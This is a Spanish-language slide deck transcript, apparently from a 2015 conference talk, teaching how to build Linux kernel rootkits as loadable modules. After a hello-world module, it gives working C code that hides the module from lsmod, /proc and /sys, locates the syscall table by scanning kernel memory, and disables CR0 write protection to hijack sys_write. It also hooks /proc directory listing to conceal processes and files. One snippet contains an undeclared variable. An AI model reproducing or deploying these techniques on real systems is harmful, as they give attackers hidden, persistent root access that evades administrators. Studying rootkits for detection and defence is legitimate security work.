construyendo rootkits basicos
TRANSCRIPT
Building Basics Rootkits
Building Basics Rootkits
Attack Strategies
07 de Septiembre de 2015
Building Basics Rootkits
Contents1 Introduccion
¿Que es un Rootkit?
Tipos de Rootkits
Funciones Comunes de Rootkits
2 Manos a la Obra
Consideraciones
Primeros Pasos
Ejercicio: Hello World Module
Manejando Parametros
3 Topicos Avanzados
Trabajando con la Estructura de Tareas
Escondiendo nuestros pasos
4 Referencias
5 The End
Building Basics Rootkits
Introduccion
¿Que es un Rootkit?
¿Que es un Rootkit?
Un rootkit (segun Wikipedia), se puede definir como:
Un programa que permite un acceso de privilegiocontinuo a una computadora pero que mantiene supresencia activamente oculta al control de losadministradores al corromper el funcionamiento normaldel sistema operativo o de otras aplicaciones.
Building Basics Rootkits
Introduccion
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren enRing-3, y modifican librerıas, o archivos de configuracion, einclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren enRing-0, y modifican estructuras del kernel, atrapan llamadasde sistema (hijacking syscall-table), etc. Podemos tenerloscomo LKM’s o como patch al kernel corriendo /dev/kmem
Building Basics Rootkits
Introduccion
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
Building Basics Rootkits
Manos a la Obra
Consideraciones
Consideraciones
Las diferencias mas importantes entre un desarrollo a nıvel kernel oespacio usuario son:
El kernel carece de proteccion de memoria... algo que seofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones enpunto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza asıncrona de las interrupciones delkernel, la concurrencia es de los temas a poner mas enfasis aldesarrollar (Race-Conditions).
La portabilidad... entre version y version de nucleo.
Building Basics Rootkits
Manos a la Obra
Primeros Pasos
Primeros Pasos
Algunas Macros importantes:
module init();
module exit();
MODULE LICENSE(”GPL”);
MODULE AUTHOR(”NataS”);
MODULE DESCRIPTION(”My LKM”);
Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
static int hello_init(void) {
printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.\n");
return 0;
}
static void hello_exit(void) {
printk(KERN_ALERT "Goodbye GuadalajaraCon!\n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("NataS");
MODULE_DESCRIPTION("My First LKM");
Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
Nuestro Makefile:
obj-m := modulo.o
Y Compilamos como:
make -C /lib/modules/$(uname -r)/build
SUBDIRS=$PWD modules
Cargamos nuestro modulo
insmod modulo.ko
Listamos nuestro modulo
lsmod | grep modulo
Eliminamos nuestro modulo
rmmod modulo.ko
Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Manejando Parametros
Los parametros se mandan cuando arrancamos el modulo de laforma:
insmod modulo param1=valor1 param2=valor2
Para definir los parametros, primero declaramos variables y laspasamos a la macro:
module_param(nombre, tipo, permisos)
module_param_string(nombre,variable, longitud, permisos);
Permisos son los definidos en sysfs, y afectan las entradas delmodulo en /sys/module
Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Ejercicio: Name and Age
static char myName[50];
module_param_string(name, myName, 50, 0);
static int age = 1;
module_param(age, int, 0);
...
printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
Building Basics Rootkits
Topicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
El kernel de linux contiene una lista enlazada (definida eninclude/linux/types.h e include/linux/list.h) de tareas, las cualesson una estructura declarada en include/linux/sched.h.
Building Basics Rootkits
Topicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
Desde el kernel tenemos acceso directo a la lista de tareas(task struct), la cual es una lista doblemente enlazada ¿Aunrecuerdan sus clases de programacion? Para acceder a la estructuraque contiene informacion sobre nuestro proceso, basta con haceruso del puntero current
#include <linux/sched.h>
#include <asm/current.h>
static int hello_init(void) {
printk(KERN_ALERT "My Name --> %s and PID -->
%i \n", current->comm, current->pid);
return 0;
}
Building Basics Rootkits
Topicos Avanzados
Trabajando con la Estructura de Tareas
Ejercicio: Get my PID and all others
Usando los codigos anteriores... Recorran la lista de tareas y pintencada proceso y su PID. Con este acceso pueden intentar esconderun proceso tambien:
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Hidding Ver.1
El kernel maneja un lista enlazada en la cual, mantiene lareferencia de todos los modulos que estan cargados (lsmod y/proc leen dicha lista).
Esconder nuestro modulo es muy sencillo, en la funcion deinicio del modulo basta con eliminar la referencia de la lista:
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximacion:
1 Aun somos detectables desde /sys
2 Al hacer un unload del modulo, debido a que no existe en lalista, se provoca un Oops que genera un kernel panic o crashdel sistema, dejando rastros.
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Hide myself
Nos escodemos:
static int hide_init(void) {
printk(KERN_ALERT "Hello World! My first LKM.\n");
printk(KERN_ALERT "Let’s get hide myself.\n");
list_del(&THIS_MODULE->list);
return 0;
}
Nos buscamos
lsmod | grep modulo
cat /proc/modules | grep modulo
Nos Encontramos
ls /sys/module/modulo
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Hidding. Ve2
Cada entrada en /sys es un objeto module kobject (definidoen module.h) que internamente tienen una estructura del tipokobject (definido en kobject.h).
Examinando el codigo del kernel, vemos que en la descarga delmodulo, primero debemos eliminarnos de /sys yposteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos queesten iniciados a NULL
Recomendaciones:
1 Recordar informacion previa (prev y next en la lista).
2 Sobreescribir readproc y writeproc
3 Funciones estaticas para no dejar rastros en /proc/kallsyms
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Find Me if You can
static inline void hideme(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
Ahora... busquemos el modulo
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
La direccion de la sys call table, puede ser encontrada en el archivoSystem.map-$(uname -r) ¿Que ocurre cuando ya no existe esearchivo?
El rango de memoria del kernel en arquitecturas X86 es del0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call tablebasta con buscar hasta la 0xd0000000 ¿porque?CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernelen 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,es de destacar que igual que en la arquitectura de 32Bits, nodebemos iterar todas las direcciones, basta iterar hasta0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos sımbolos seexporten, sys close por ejemplo.
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existendiferentes registros de procesador, el que nos interesa es el cr0. Elkernel nos da dos funciones para manipular este registro: write cr0y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello sellama WP bit. Solo basta modificar este bit antes y despues delhijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "\nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "\nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
Building Basics Rootkits
Topicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
struct inode *pinode;
const struct file_operations *proc_original;
static struct file_operations proc_fops;
void hook_proc(struct proc_dir_entry *root) {
struct path proc_path;
if (kern_path("/proc/",0,&proc_path))
return;
pinode = proc_path.dentry->d_inode;
if(!pinode)
return;
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.readdir = natas_lookup;
pinode->i_fop = &proc_fops;
}
Building Basics Rootkits
Referencias
Referencias
Designing BSD Rootkits, Joseph Kong
Linux Kernel Development, Robert Love
Writing Kernel Exploits Paper, Keegan MacAllister
Linux Kernel Crash Book, Igor Ljubuncic
The Rootkits Arsenal, Reverend Bill Blunden